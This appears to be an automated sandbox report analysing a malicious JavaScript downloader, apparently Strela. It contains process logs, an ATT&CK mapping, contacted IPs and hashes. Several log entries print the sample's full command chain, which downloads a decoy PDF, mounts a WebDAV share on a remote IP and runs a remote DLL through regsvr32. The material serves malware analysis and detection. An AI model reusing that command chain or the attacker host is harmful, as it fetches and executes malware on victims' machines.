Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4947			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4849			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1516	Thread sleep count: 4947 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1516	Thread sleep count: 4849 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5388	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5916	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1880	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3668	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1521280704.000001B9E43AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1516676273.000001B9E4348000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1501451764.000001B9E43AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1506176229.000001B9E43AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2685690763.0000021C1902B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2687126478.0000021C1E654000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1460324287242413198.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/jK	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/:K	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/NK_	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/9m	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1408214388.000001912E3CB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1405164398.000001912E3C7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/:K	net.exe, 00000007.00000003.1502909681.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517208020.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/jK	net.exe, 00000007.00000003.1502909681.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517208020.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2686797202.0000021C1E608000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/NK_	net.exe, 00000007.00000003.1502909681.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517208020.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1516676273.000001B9E4348000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1502909681.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1516676273.000001B9E4348000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517208020.000001B9E4378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1501451764.000001B9E439E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/9m	net.exe, 00000007.00000002.1516676273.000001B9E4348000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1504465342.0000021C1E800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588673
Start date and time:	2025-01-11 03:58:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1460324287242413198.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 52.22.41.97, 3.219.243.226, 52.6.155.20, 3.233.129.217, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.200.0.173, 23.200.0.196, 23.200.0.176, 192.168.2.9, 4.245.163.56, 18.213.11.84, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:59:48	API Interceptor	24x Sleep call for process: powershell.exe modified
21:59:52	API Interceptor	1x Sleep call for process: net.exe modified
21:59:53	API Interceptor	2x Sleep call for process: svchost.exe modified
22:00:01	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	72382724245064961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2322331617238881677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	652114013130199968.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3462260851125011899.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49321105635024015
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaF:cJhXC9lHmutpJyiRDeJ/aUKrDgnmP
MD5:	032FE0BF8B722DA0EE7B91C67D84CE2B
SHA1:	5B6B0231F5C291F34F3C0BB2786A59BE5FCB2362
SHA-256:	C336F8D1F8242402265DBB4BBE41AA0E5C1F6540C23FE9BE95DAA1BC70DF12B2
